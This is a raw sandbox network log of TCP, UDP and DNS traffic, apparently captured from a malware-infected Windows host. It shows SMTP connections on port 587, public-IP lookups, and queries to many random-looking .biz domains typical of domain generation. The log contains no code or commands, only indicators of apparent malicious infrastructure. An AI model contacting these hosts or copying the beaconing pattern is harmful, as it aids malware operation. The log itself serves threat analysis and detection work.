Dec 10, 2024 07:05:49.992284060 CET	587	49725	103.20.200.105	192.168.2.9
Dec 10, 2024 07:05:49.992652893 CET	49725	587	192.168.2.9	103.20.200.105
Dec 10, 2024 07:05:50.112127066 CET	587	49725	103.20.200.105	192.168.2.9
Dec 10, 2024 07:05:50.512968063 CET	587	49725	103.20.200.105	192.168.2.9
Dec 10, 2024 07:05:50.513339043 CET	49725	587	192.168.2.9	103.20.200.105
Dec 10, 2024 07:05:50.632622004 CET	587	49725	103.20.200.105	192.168.2.9
Dec 10, 2024 07:05:51.033073902 CET	587	49725	103.20.200.105	192.168.2.9
Dec 10, 2024 07:05:51.033217907 CET	49725	587	192.168.2.9	103.20.200.105
Dec 10, 2024 07:05:51.152493954 CET	587	49725	103.20.200.105	192.168.2.9
Dec 10, 2024 07:05:51.553322077 CET	587	49725	103.20.200.105	192.168.2.9
Dec 10, 2024 07:05:51.554243088 CET	49725	587	192.168.2.9	103.20.200.105
Dec 10, 2024 07:05:51.554286003 CET	49725	587	192.168.2.9	103.20.200.105
Dec 10, 2024 07:05:51.554294109 CET	49725	587	192.168.2.9	103.20.200.105
Dec 10, 2024 07:05:51.554318905 CET	49725	587	192.168.2.9	103.20.200.105
Dec 10, 2024 07:05:51.673742056 CET	587	49725	103.20.200.105	192.168.2.9
Dec 10, 2024 07:05:51.673757076 CET	587	49725	103.20.200.105	192.168.2.9
Dec 10, 2024 07:05:51.673768044 CET	587	49725	103.20.200.105	192.168.2.9
Dec 10, 2024 07:05:51.673784971 CET	587	49725	103.20.200.105	192.168.2.9
Dec 10, 2024 07:05:52.307727098 CET	80	49727	72.52.179.174	192.168.2.9
Dec 10, 2024 07:05:52.316836119 CET	80	49728	72.52.179.174	192.168.2.9
Dec 10, 2024 07:05:52.330883026 CET	587	49725	103.20.200.105	192.168.2.9
Dec 10, 2024 07:05:52.351552010 CET	49727	80	192.168.2.9	72.52.179.174
Dec 10, 2024 07:05:52.367185116 CET	49728	80	192.168.2.9	72.52.179.174
Dec 10, 2024 07:05:52.382766962 CET	49725	587	192.168.2.9	103.20.200.105
Dec 10, 2024 07:05:52.719649076 CET	49729	80	192.168.2.9	13.248.148.254
Dec 10, 2024 07:05:52.762592077 CET	49730	80	192.168.2.9	199.59.243.227
Dec 10, 2024 07:05:52.839005947 CET	80	49729	13.248.148.254	192.168.2.9
Dec 10, 2024 07:05:52.839137077 CET	49729	80	192.168.2.9	13.248.148.254
Dec 10, 2024 07:05:52.839330912 CET	49729	80	192.168.2.9	13.248.148.254
Dec 10, 2024 07:05:52.881875992 CET	80	49730	199.59.243.227	192.168.2.9
Dec 10, 2024 07:05:52.881953955 CET	49730	80	192.168.2.9	199.59.243.227
Dec 10, 2024 07:05:52.882267952 CET	49730	80	192.168.2.9	199.59.243.227
Dec 10, 2024 07:05:52.958539009 CET	80	49729	13.248.148.254	192.168.2.9
Dec 10, 2024 07:05:53.001640081 CET	80	49730	199.59.243.227	192.168.2.9
Dec 10, 2024 07:05:53.979266882 CET	80	49730	199.59.243.227	192.168.2.9
Dec 10, 2024 07:05:53.979295015 CET	80	49730	199.59.243.227	192.168.2.9
Dec 10, 2024 07:05:53.979619026 CET	49730	80	192.168.2.9	199.59.243.227
Dec 10, 2024 07:05:54.126724958 CET	80	49729	13.248.148.254	192.168.2.9
Dec 10, 2024 07:05:54.127228022 CET	80	49729	13.248.148.254	192.168.2.9
Dec 10, 2024 07:05:54.127281904 CET	80	49729	13.248.148.254	192.168.2.9
Dec 10, 2024 07:05:54.127295971 CET	80	49729	13.248.148.254	192.168.2.9
Dec 10, 2024 07:05:54.127294064 CET	49729	80	192.168.2.9	13.248.148.254
Dec 10, 2024 07:05:54.127352953 CET	49729	80	192.168.2.9	13.248.148.254
Dec 10, 2024 07:05:54.127424002 CET	80	49729	13.248.148.254	192.168.2.9
Dec 10, 2024 07:05:54.127435923 CET	80	49729	13.248.148.254	192.168.2.9
Dec 10, 2024 07:05:54.127461910 CET	80	49729	13.248.148.254	192.168.2.9
Dec 10, 2024 07:05:54.127477884 CET	80	49729	13.248.148.254	192.168.2.9
Dec 10, 2024 07:05:54.127497911 CET	49729	80	192.168.2.9	13.248.148.254
Dec 10, 2024 07:05:54.127513885 CET	49729	80	192.168.2.9	13.248.148.254
Dec 10, 2024 07:05:54.127651930 CET	80	49729	13.248.148.254	192.168.2.9
Dec 10, 2024 07:05:54.127664089 CET	80	49729	13.248.148.254	192.168.2.9
Dec 10, 2024 07:05:54.127710104 CET	49729	80	192.168.2.9	13.248.148.254
Dec 10, 2024 07:05:54.246736050 CET	80	49729	13.248.148.254	192.168.2.9
Dec 10, 2024 07:05:54.246752024 CET	80	49729	13.248.148.254	192.168.2.9
Dec 10, 2024 07:05:54.246829033 CET	49729	80	192.168.2.9	13.248.148.254
Dec 10, 2024 07:05:54.319403887 CET	80	49729	13.248.148.254	192.168.2.9
Dec 10, 2024 07:05:54.319508076 CET	80	49729	13.248.148.254	192.168.2.9
Dec 10, 2024 07:05:54.319564104 CET	49729	80	192.168.2.9	13.248.148.254
Dec 10, 2024 07:05:54.323637962 CET	80	49729	13.248.148.254	192.168.2.9
Dec 10, 2024 07:05:54.367150068 CET	49729	80	192.168.2.9	13.248.148.254
Dec 10, 2024 07:05:54.493613958 CET	49724	80	192.168.2.9	172.234.222.143
Dec 10, 2024 07:05:54.493673086 CET	49724	80	192.168.2.9	172.234.222.143
Dec 10, 2024 07:05:54.613606930 CET	80	49724	172.234.222.143	192.168.2.9
Dec 10, 2024 07:05:54.613625050 CET	80	49724	172.234.222.143	192.168.2.9
Dec 10, 2024 07:05:54.702667952 CET	49731	80	192.168.2.9	18.141.10.107
Dec 10, 2024 07:05:54.821957111 CET	80	49731	18.141.10.107	192.168.2.9
Dec 10, 2024 07:05:54.822046041 CET	49731	80	192.168.2.9	18.141.10.107
Dec 10, 2024 07:05:54.833575964 CET	80	49724	172.234.222.143	192.168.2.9
Dec 10, 2024 07:05:54.839410067 CET	49731	80	192.168.2.9	18.141.10.107
Dec 10, 2024 07:05:54.839492083 CET	49731	80	192.168.2.9	18.141.10.107
Dec 10, 2024 07:05:54.846071005 CET	49727	80	192.168.2.9	72.52.179.174
Dec 10, 2024 07:05:54.879702091 CET	49724	80	192.168.2.9	172.234.222.143
Dec 10, 2024 07:05:54.958827972 CET	80	49731	18.141.10.107	192.168.2.9
Dec 10, 2024 07:05:54.958852053 CET	80	49731	18.141.10.107	192.168.2.9
Dec 10, 2024 07:05:54.965569973 CET	80	49727	72.52.179.174	192.168.2.9
Dec 10, 2024 07:05:55.223030090 CET	80	49727	72.52.179.174	192.168.2.9
Dec 10, 2024 07:05:55.273410082 CET	49727	80	192.168.2.9	72.52.179.174
Dec 10, 2024 07:05:55.457324028 CET	49729	80	192.168.2.9	13.248.148.254
Dec 10, 2024 07:05:55.576617002 CET	80	49729	13.248.148.254	192.168.2.9
Dec 10, 2024 07:05:55.960787058 CET	80	49729	13.248.148.254	192.168.2.9
Dec 10, 2024 07:05:55.962182045 CET	80	49729	13.248.148.254	192.168.2.9
Dec 10, 2024 07:05:55.962236881 CET	49729	80	192.168.2.9	13.248.148.254
Dec 10, 2024 07:05:55.962275028 CET	80	49729	13.248.148.254	192.168.2.9
Dec 10, 2024 07:05:55.970571041 CET	80	49729	13.248.148.254	192.168.2.9
Dec 10, 2024 07:05:55.970640898 CET	80	49729	13.248.148.254	192.168.2.9
Dec 10, 2024 07:05:55.970715046 CET	49729	80	192.168.2.9	13.248.148.254
Dec 10, 2024 07:05:55.978965044 CET	80	49729	13.248.148.254	192.168.2.9
Dec 10, 2024 07:05:55.979033947 CET	49729	80	192.168.2.9	13.248.148.254
Dec 10, 2024 07:05:55.979073048 CET	80	49729	13.248.148.254	192.168.2.9
Dec 10, 2024 07:05:55.987288952 CET	80	49729	13.248.148.254	192.168.2.9
Dec 10, 2024 07:05:55.987390995 CET	49729	80	192.168.2.9	13.248.148.254
Dec 10, 2024 07:05:55.987406969 CET	80	49729	13.248.148.254	192.168.2.9
Dec 10, 2024 07:05:55.995683908 CET	80	49729	13.248.148.254	192.168.2.9
Dec 10, 2024 07:05:55.995737076 CET	49729	80	192.168.2.9	13.248.148.254
Dec 10, 2024 07:05:55.995768070 CET	80	49729	13.248.148.254	192.168.2.9
Dec 10, 2024 07:05:56.004072905 CET	80	49729	13.248.148.254	192.168.2.9
Dec 10, 2024 07:05:56.004106045 CET	80	49729	13.248.148.254	192.168.2.9
Dec 10, 2024 07:05:56.004127979 CET	49729	80	192.168.2.9	13.248.148.254
Dec 10, 2024 07:05:56.012716055 CET	80	49729	13.248.148.254	192.168.2.9
Dec 10, 2024 07:05:56.012811899 CET	49729	80	192.168.2.9	13.248.148.254
Dec 10, 2024 07:05:56.388931990 CET	49732	80	192.168.2.9	18.141.10.107
Dec 10, 2024 07:05:56.508367062 CET	80	49732	18.141.10.107	192.168.2.9
Dec 10, 2024 07:05:56.508454084 CET	49732	80	192.168.2.9	18.141.10.107
Dec 10, 2024 07:05:56.508774042 CET	49732	80	192.168.2.9	18.141.10.107
Dec 10, 2024 07:05:56.508833885 CET	49732	80	192.168.2.9	18.141.10.107
Dec 10, 2024 07:05:56.628048897 CET	80	49732	18.141.10.107	192.168.2.9
Dec 10, 2024 07:05:56.628093004 CET	80	49732	18.141.10.107	192.168.2.9
Dec 10, 2024 07:05:56.864387035 CET	80	49731	18.141.10.107	192.168.2.9
Dec 10, 2024 07:05:56.864572048 CET	80	49731	18.141.10.107	192.168.2.9
Dec 10, 2024 07:05:56.864643097 CET	49731	80	192.168.2.9	18.141.10.107
Dec 10, 2024 07:05:56.864768028 CET	49731	80	192.168.2.9	18.141.10.107
Dec 10, 2024 07:05:56.984014034 CET	80	49731	18.141.10.107	192.168.2.9
Dec 10, 2024 07:05:58.345221043 CET	49733	80	192.168.2.9	82.112.184.197
Dec 10, 2024 07:05:58.464584112 CET	80	49733	82.112.184.197	192.168.2.9
Dec 10, 2024 07:05:58.464668989 CET	49733	80	192.168.2.9	82.112.184.197
Dec 10, 2024 07:05:58.465235949 CET	49733	80	192.168.2.9	82.112.184.197
Dec 10, 2024 07:05:58.465343952 CET	49733	80	192.168.2.9	82.112.184.197
Dec 10, 2024 07:05:58.552304983 CET	80	49732	18.141.10.107	192.168.2.9
Dec 10, 2024 07:05:58.552372932 CET	80	49732	18.141.10.107	192.168.2.9
Dec 10, 2024 07:05:58.552436113 CET	49732	80	192.168.2.9	18.141.10.107
Dec 10, 2024 07:05:58.557789087 CET	49732	80	192.168.2.9	18.141.10.107
Dec 10, 2024 07:05:58.584489107 CET	80	49733	82.112.184.197	192.168.2.9
Dec 10, 2024 07:05:58.584547997 CET	80	49733	82.112.184.197	192.168.2.9
Dec 10, 2024 07:05:58.676958084 CET	80	49732	18.141.10.107	192.168.2.9
Dec 10, 2024 07:05:59.096779108 CET	49734	80	192.168.2.9	82.112.184.197
Dec 10, 2024 07:05:59.216073990 CET	80	49734	82.112.184.197	192.168.2.9
Dec 10, 2024 07:05:59.216159105 CET	49734	80	192.168.2.9	82.112.184.197
Dec 10, 2024 07:05:59.216613054 CET	49734	80	192.168.2.9	82.112.184.197
Dec 10, 2024 07:05:59.216656923 CET	49734	80	192.168.2.9	82.112.184.197
Dec 10, 2024 07:05:59.335854053 CET	80	49734	82.112.184.197	192.168.2.9
Dec 10, 2024 07:05:59.335881948 CET	80	49734	82.112.184.197	192.168.2.9
Dec 10, 2024 07:06:03.979005098 CET	80	49730	199.59.243.227	192.168.2.9
Dec 10, 2024 07:06:03.979068995 CET	49730	80	192.168.2.9	199.59.243.227
Dec 10, 2024 07:06:03.979681015 CET	49730	80	192.168.2.9	199.59.243.227
Dec 10, 2024 07:06:04.098865986 CET	80	49730	199.59.243.227	192.168.2.9
Dec 10, 2024 07:06:17.833364010 CET	80	49726	172.234.222.143	192.168.2.9
Dec 10, 2024 07:06:17.835557938 CET	49726	80	192.168.2.9	172.234.222.143
Dec 10, 2024 07:06:17.835558891 CET	49726	80	192.168.2.9	172.234.222.143
Dec 10, 2024 07:06:17.954900026 CET	80	49726	172.234.222.143	192.168.2.9
Dec 10, 2024 07:06:20.371072054 CET	80	49733	82.112.184.197	192.168.2.9
Dec 10, 2024 07:06:20.371164083 CET	49733	80	192.168.2.9	82.112.184.197
Dec 10, 2024 07:06:20.371340036 CET	49733	80	192.168.2.9	82.112.184.197
Dec 10, 2024 07:06:20.396277905 CET	49736	80	192.168.2.9	82.112.184.197
Dec 10, 2024 07:06:20.490645885 CET	80	49733	82.112.184.197	192.168.2.9
Dec 10, 2024 07:06:20.516297102 CET	80	49736	82.112.184.197	192.168.2.9
Dec 10, 2024 07:06:20.516433001 CET	49736	80	192.168.2.9	82.112.184.197
Dec 10, 2024 07:06:20.516671896 CET	49736	80	192.168.2.9	82.112.184.197
Dec 10, 2024 07:06:20.516706944 CET	49736	80	192.168.2.9	82.112.184.197
Dec 10, 2024 07:06:20.635983944 CET	80	49736	82.112.184.197	192.168.2.9
Dec 10, 2024 07:06:20.636001110 CET	80	49736	82.112.184.197	192.168.2.9
Dec 10, 2024 07:06:21.121365070 CET	80	49734	82.112.184.197	192.168.2.9
Dec 10, 2024 07:06:21.122100115 CET	49734	80	192.168.2.9	82.112.184.197
Dec 10, 2024 07:06:21.138039112 CET	49734	80	192.168.2.9	82.112.184.197
Dec 10, 2024 07:06:21.257417917 CET	80	49734	82.112.184.197	192.168.2.9
Dec 10, 2024 07:06:21.494997025 CET	49737	80	192.168.2.9	82.112.184.197
Dec 10, 2024 07:06:21.614273071 CET	80	49737	82.112.184.197	192.168.2.9
Dec 10, 2024 07:06:21.615021944 CET	49737	80	192.168.2.9	82.112.184.197
Dec 10, 2024 07:06:21.615621090 CET	49737	80	192.168.2.9	82.112.184.197
Dec 10, 2024 07:06:21.615957975 CET	49737	80	192.168.2.9	82.112.184.197
Dec 10, 2024 07:06:21.734911919 CET	80	49737	82.112.184.197	192.168.2.9
Dec 10, 2024 07:06:21.735352039 CET	80	49737	82.112.184.197	192.168.2.9
Dec 10, 2024 07:06:24.837203026 CET	80	49724	172.234.222.143	192.168.2.9
Dec 10, 2024 07:06:24.837276936 CET	49724	80	192.168.2.9	172.234.222.143
Dec 10, 2024 07:06:24.837335110 CET	49724	80	192.168.2.9	172.234.222.143
Dec 10, 2024 07:06:24.956768036 CET	80	49724	172.234.222.143	192.168.2.9
Dec 10, 2024 07:06:35.898910046 CET	49710	80	192.168.2.9	158.101.44.242
Dec 10, 2024 07:06:36.018734932 CET	80	49710	158.101.44.242	192.168.2.9
Dec 10, 2024 07:06:36.018796921 CET	49710	80	192.168.2.9	158.101.44.242
Dec 10, 2024 07:06:42.433798075 CET	80	49736	82.112.184.197	192.168.2.9
Dec 10, 2024 07:06:42.434114933 CET	49736	80	192.168.2.9	82.112.184.197
Dec 10, 2024 07:06:42.446393013 CET	49736	80	192.168.2.9	82.112.184.197
Dec 10, 2024 07:06:42.565711975 CET	80	49736	82.112.184.197	192.168.2.9
Dec 10, 2024 07:06:43.512100935 CET	80	49737	82.112.184.197	192.168.2.9
Dec 10, 2024 07:06:43.512347937 CET	49737	80	192.168.2.9	82.112.184.197
Dec 10, 2024 07:06:43.907519102 CET	49737	80	192.168.2.9	82.112.184.197
Dec 10, 2024 07:06:43.971837997 CET	49741	80	192.168.2.9	82.112.184.197
Dec 10, 2024 07:06:44.026819944 CET	80	49737	82.112.184.197	192.168.2.9
Dec 10, 2024 07:06:44.091379881 CET	80	49741	82.112.184.197	192.168.2.9
Dec 10, 2024 07:06:44.091449976 CET	49741	80	192.168.2.9	82.112.184.197
Dec 10, 2024 07:06:44.091917992 CET	49741	80	192.168.2.9	82.112.184.197
Dec 10, 2024 07:06:44.091957092 CET	49741	80	192.168.2.9	82.112.184.197
Dec 10, 2024 07:06:44.211169004 CET	80	49741	82.112.184.197	192.168.2.9
Dec 10, 2024 07:06:44.211184978 CET	80	49741	82.112.184.197	192.168.2.9
Dec 10, 2024 07:06:44.351907015 CET	49742	80	192.168.2.9	82.112.184.197
Dec 10, 2024 07:06:44.471245050 CET	80	49742	82.112.184.197	192.168.2.9
Dec 10, 2024 07:06:44.471333027 CET	49742	80	192.168.2.9	82.112.184.197
Dec 10, 2024 07:06:44.471502066 CET	49742	80	192.168.2.9	82.112.184.197
Dec 10, 2024 07:06:44.471527100 CET	49742	80	192.168.2.9	82.112.184.197
Dec 10, 2024 07:06:44.590763092 CET	80	49742	82.112.184.197	192.168.2.9
Dec 10, 2024 07:06:44.590794086 CET	80	49742	82.112.184.197	192.168.2.9
Dec 10, 2024 07:06:57.316757917 CET	80	49728	72.52.179.174	192.168.2.9
Dec 10, 2024 07:06:57.316878080 CET	49728	80	192.168.2.9	72.52.179.174
Dec 10, 2024 07:06:57.325294971 CET	49728	80	192.168.2.9	72.52.179.174
Dec 10, 2024 07:06:57.445213079 CET	80	49728	72.52.179.174	192.168.2.9
Dec 10, 2024 07:07:00.223185062 CET	80	49727	72.52.179.174	192.168.2.9
Dec 10, 2024 07:07:00.223289013 CET	49727	80	192.168.2.9	72.52.179.174
Dec 10, 2024 07:07:00.223376989 CET	49727	80	192.168.2.9	72.52.179.174
Dec 10, 2024 07:07:00.342715025 CET	80	49727	72.52.179.174	192.168.2.9
Dec 10, 2024 07:07:06.012531042 CET	80	49741	82.112.184.197	192.168.2.9
Dec 10, 2024 07:07:06.012612104 CET	49741	80	192.168.2.9	82.112.184.197
Dec 10, 2024 07:07:06.030352116 CET	49741	80	192.168.2.9	82.112.184.197
Dec 10, 2024 07:07:06.058465958 CET	49743	80	192.168.2.9	82.112.184.197
Dec 10, 2024 07:07:06.149837017 CET	80	49741	82.112.184.197	192.168.2.9
Dec 10, 2024 07:07:06.177936077 CET	80	49743	82.112.184.197	192.168.2.9
Dec 10, 2024 07:07:06.178014040 CET	49743	80	192.168.2.9	82.112.184.197
Dec 10, 2024 07:07:06.178466082 CET	49743	80	192.168.2.9	82.112.184.197
Dec 10, 2024 07:07:06.178495884 CET	49743	80	192.168.2.9	82.112.184.197
Dec 10, 2024 07:07:06.297925949 CET	80	49743	82.112.184.197	192.168.2.9
Dec 10, 2024 07:07:06.297941923 CET	80	49743	82.112.184.197	192.168.2.9
Dec 10, 2024 07:07:06.356384039 CET	80	49742	82.112.184.197	192.168.2.9
Dec 10, 2024 07:07:06.356460094 CET	49742	80	192.168.2.9	82.112.184.197
Dec 10, 2024 07:07:06.356528997 CET	49742	80	192.168.2.9	82.112.184.197
Dec 10, 2024 07:07:06.458619118 CET	49744	80	192.168.2.9	82.112.184.197
Dec 10, 2024 07:07:06.475857973 CET	80	49742	82.112.184.197	192.168.2.9
Dec 10, 2024 07:07:06.578110933 CET	80	49744	82.112.184.197	192.168.2.9
Dec 10, 2024 07:07:06.578239918 CET	49744	80	192.168.2.9	82.112.184.197
Dec 10, 2024 07:07:06.578418016 CET	49744	80	192.168.2.9	82.112.184.197
Dec 10, 2024 07:07:06.578449965 CET	49744	80	192.168.2.9	82.112.184.197
Dec 10, 2024 07:07:06.697946072 CET	80	49744	82.112.184.197	192.168.2.9
Dec 10, 2024 07:07:06.697966099 CET	80	49744	82.112.184.197	192.168.2.9
Dec 10, 2024 07:07:28.075670004 CET	80	49743	82.112.184.197	192.168.2.9
Dec 10, 2024 07:07:28.083740950 CET	49743	80	192.168.2.9	82.112.184.197
Dec 10, 2024 07:07:28.497364044 CET	80	49744	82.112.184.197	192.168.2.9
Dec 10, 2024 07:07:28.497525930 CET	49744	80	192.168.2.9	82.112.184.197

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 10, 2024 07:05:19.959225893 CET	49801	53	192.168.2.9	1.1.1.1
Dec 10, 2024 07:05:20.967344046 CET	49801	53	192.168.2.9	1.1.1.1
Dec 10, 2024 07:05:21.528405905 CET	53	49801	1.1.1.1	192.168.2.9
Dec 10, 2024 07:05:21.528434038 CET	53	49801	1.1.1.1	192.168.2.9
Dec 10, 2024 07:05:34.394490957 CET	57620	53	192.168.2.9	1.1.1.1
Dec 10, 2024 07:05:34.476562977 CET	64064	53	192.168.2.9	1.1.1.1
Dec 10, 2024 07:05:34.531740904 CET	53	57620	1.1.1.1	192.168.2.9
Dec 10, 2024 07:05:34.613818884 CET	53	64064	1.1.1.1	192.168.2.9
Dec 10, 2024 07:05:36.332869053 CET	50208	53	192.168.2.9	1.1.1.1
Dec 10, 2024 07:05:36.622766972 CET	53809	53	192.168.2.9	1.1.1.1
Dec 10, 2024 07:05:36.762520075 CET	53	53809	1.1.1.1	192.168.2.9
Dec 10, 2024 07:05:36.805236101 CET	53	50208	1.1.1.1	192.168.2.9
Dec 10, 2024 07:05:38.763231993 CET	58471	53	192.168.2.9	1.1.1.1
Dec 10, 2024 07:05:38.900460005 CET	53	58471	1.1.1.1	192.168.2.9
Dec 10, 2024 07:05:39.035650969 CET	64356	53	192.168.2.9	1.1.1.1
Dec 10, 2024 07:05:39.509748936 CET	53	64356	1.1.1.1	192.168.2.9
Dec 10, 2024 07:05:40.504946947 CET	64293	53	192.168.2.9	1.1.1.1
Dec 10, 2024 07:05:40.642160892 CET	53	64293	1.1.1.1	192.168.2.9
Dec 10, 2024 07:05:41.095743895 CET	50123	53	192.168.2.9	1.1.1.1
Dec 10, 2024 07:05:41.576323986 CET	53	50123	1.1.1.1	192.168.2.9
Dec 10, 2024 07:05:42.900322914 CET	58993	53	192.168.2.9	1.1.1.1
Dec 10, 2024 07:05:42.927993059 CET	49551	53	192.168.2.9	1.1.1.1
Dec 10, 2024 07:05:43.038377047 CET	53	58993	1.1.1.1	192.168.2.9
Dec 10, 2024 07:05:43.253587961 CET	53	49551	1.1.1.1	192.168.2.9
Dec 10, 2024 07:05:44.514067888 CET	57178	53	192.168.2.9	1.1.1.1
Dec 10, 2024 07:05:44.593676090 CET	59968	53	192.168.2.9	1.1.1.1
Dec 10, 2024 07:05:44.730432034 CET	53	59968	1.1.1.1	192.168.2.9
Dec 10, 2024 07:05:44.743771076 CET	53	57178	1.1.1.1	192.168.2.9
Dec 10, 2024 07:05:45.895601988 CET	64325	53	192.168.2.9	1.1.1.1
Dec 10, 2024 07:05:46.083996058 CET	64135	53	192.168.2.9	1.1.1.1
Dec 10, 2024 07:05:46.221590996 CET	53	64135	1.1.1.1	192.168.2.9
Dec 10, 2024 07:05:46.445831060 CET	53	64325	1.1.1.1	192.168.2.9
Dec 10, 2024 07:05:52.314101934 CET	50498	53	192.168.2.9	1.1.1.1
Dec 10, 2024 07:05:52.319698095 CET	64045	53	192.168.2.9	1.1.1.1
Dec 10, 2024 07:05:52.713200092 CET	53	50498	1.1.1.1	192.168.2.9
Dec 10, 2024 07:05:52.760778904 CET	53	64045	1.1.1.1	192.168.2.9
Dec 10, 2024 07:05:54.011379957 CET	50460	53	192.168.2.9	1.1.1.1
Dec 10, 2024 07:05:54.223753929 CET	53	50460	1.1.1.1	192.168.2.9
Dec 10, 2024 07:05:54.224970102 CET	51600	53	192.168.2.9	1.1.1.1
Dec 10, 2024 07:05:54.697482109 CET	53	51600	1.1.1.1	192.168.2.9
Dec 10, 2024 07:05:56.092195034 CET	61639	53	192.168.2.9	1.1.1.1
Dec 10, 2024 07:05:56.229682922 CET	53	61639	1.1.1.1	192.168.2.9
Dec 10, 2024 07:05:56.230613947 CET	62925	53	192.168.2.9	1.1.1.1
Dec 10, 2024 07:05:56.367852926 CET	53	62925	1.1.1.1	192.168.2.9
Dec 10, 2024 07:05:56.884445906 CET	62543	53	192.168.2.9	1.1.1.1
Dec 10, 2024 07:05:57.107588053 CET	53	62543	1.1.1.1	192.168.2.9
Dec 10, 2024 07:05:57.108449936 CET	64013	53	192.168.2.9	1.1.1.1
Dec 10, 2024 07:05:57.323951006 CET	53	64013	1.1.1.1	192.168.2.9
Dec 10, 2024 07:05:57.324650049 CET	51936	53	192.168.2.9	1.1.1.1
Dec 10, 2024 07:05:58.320677996 CET	51936	53	192.168.2.9	1.1.1.1
Dec 10, 2024 07:05:58.339792013 CET	53	51936	1.1.1.1	192.168.2.9
Dec 10, 2024 07:05:58.457187891 CET	53	51936	1.1.1.1	192.168.2.9
Dec 10, 2024 07:05:58.645046949 CET	59224	53	192.168.2.9	1.1.1.1
Dec 10, 2024 07:05:58.782947063 CET	53	59224	1.1.1.1	192.168.2.9
Dec 10, 2024 07:05:58.783714056 CET	52810	53	192.168.2.9	1.1.1.1
Dec 10, 2024 07:05:58.923464060 CET	53	52810	1.1.1.1	192.168.2.9
Dec 10, 2024 07:05:58.924352884 CET	58277	53	192.168.2.9	1.1.1.1
Dec 10, 2024 07:05:59.061625957 CET	53	58277	1.1.1.1	192.168.2.9
Dec 10, 2024 07:06:42.456146955 CET	63669	53	192.168.2.9	1.1.1.1
Dec 10, 2024 07:06:43.388295889 CET	53	63669	1.1.1.1	192.168.2.9
Dec 10, 2024 07:06:44.169616938 CET	63068	53	192.168.2.9	1.1.1.1
Dec 10, 2024 07:06:44.307065964 CET	53	63068	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 10, 2024 07:05:19.959225893 CET	192.168.2.9	1.1.1.1	0x5658	Standard query (0)	lwaziacademy.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:20.967344046 CET	192.168.2.9	1.1.1.1	0x5658	Standard query (0)	lwaziacademy.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:34.394490957 CET	192.168.2.9	1.1.1.1	0x1751	Standard query (0)	pywolwnvd.biz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:34.476562977 CET	192.168.2.9	1.1.1.1	0xcc9f	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:36.332869053 CET	192.168.2.9	1.1.1.1	0xbe6b	Standard query (0)	ssbzmoy.biz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:36.622766972 CET	192.168.2.9	1.1.1.1	0xd997	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:38.763231993 CET	192.168.2.9	1.1.1.1	0x8e2d	Standard query (0)	pywolwnvd.biz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:39.035650969 CET	192.168.2.9	1.1.1.1	0xe26	Standard query (0)	cvgrf.biz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:40.504946947 CET	192.168.2.9	1.1.1.1	0xe499	Standard query (0)	ssbzmoy.biz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:41.095743895 CET	192.168.2.9	1.1.1.1	0x541a	Standard query (0)	npukfztj.biz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:42.900322914 CET	192.168.2.9	1.1.1.1	0x1613	Standard query (0)	cvgrf.biz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:42.927993059 CET	192.168.2.9	1.1.1.1	0x4c43	Standard query (0)	przvgke.biz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:44.514067888 CET	192.168.2.9	1.1.1.1	0xf99	Standard query (0)	ww99.przvgke.biz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:44.593676090 CET	192.168.2.9	1.1.1.1	0x1e7c	Standard query (0)	npukfztj.biz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:45.895601988 CET	192.168.2.9	1.1.1.1	0xc962	Standard query (0)	webmail.thematman.com.au	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:46.083996058 CET	192.168.2.9	1.1.1.1	0xd53	Standard query (0)	przvgke.biz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:52.314101934 CET	192.168.2.9	1.1.1.1	0x998a	Standard query (0)	ww12.przvgke.biz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:52.319698095 CET	192.168.2.9	1.1.1.1	0x8fa1	Standard query (0)	ww7.przvgke.biz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:54.011379957 CET	192.168.2.9	1.1.1.1	0xc1ff	Standard query (0)	zlenh.biz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:54.224970102 CET	192.168.2.9	1.1.1.1	0xb6f9	Standard query (0)	knjghuig.biz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:56.092195034 CET	192.168.2.9	1.1.1.1	0xf068	Standard query (0)	zlenh.biz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:56.230613947 CET	192.168.2.9	1.1.1.1	0xdfc4	Standard query (0)	knjghuig.biz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:56.884445906 CET	192.168.2.9	1.1.1.1	0x841c	Standard query (0)	uhxqin.biz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:57.108449936 CET	192.168.2.9	1.1.1.1	0xa868	Standard query (0)	anpmnmxo.biz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:57.324650049 CET	192.168.2.9	1.1.1.1	0x5924	Standard query (0)	lpuegx.biz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:58.320677996 CET	192.168.2.9	1.1.1.1	0x5924	Standard query (0)	lpuegx.biz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:58.645046949 CET	192.168.2.9	1.1.1.1	0xd307	Standard query (0)	uhxqin.biz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:58.783714056 CET	192.168.2.9	1.1.1.1	0x985a	Standard query (0)	anpmnmxo.biz	A (IP address)	IN (0x0001)	false
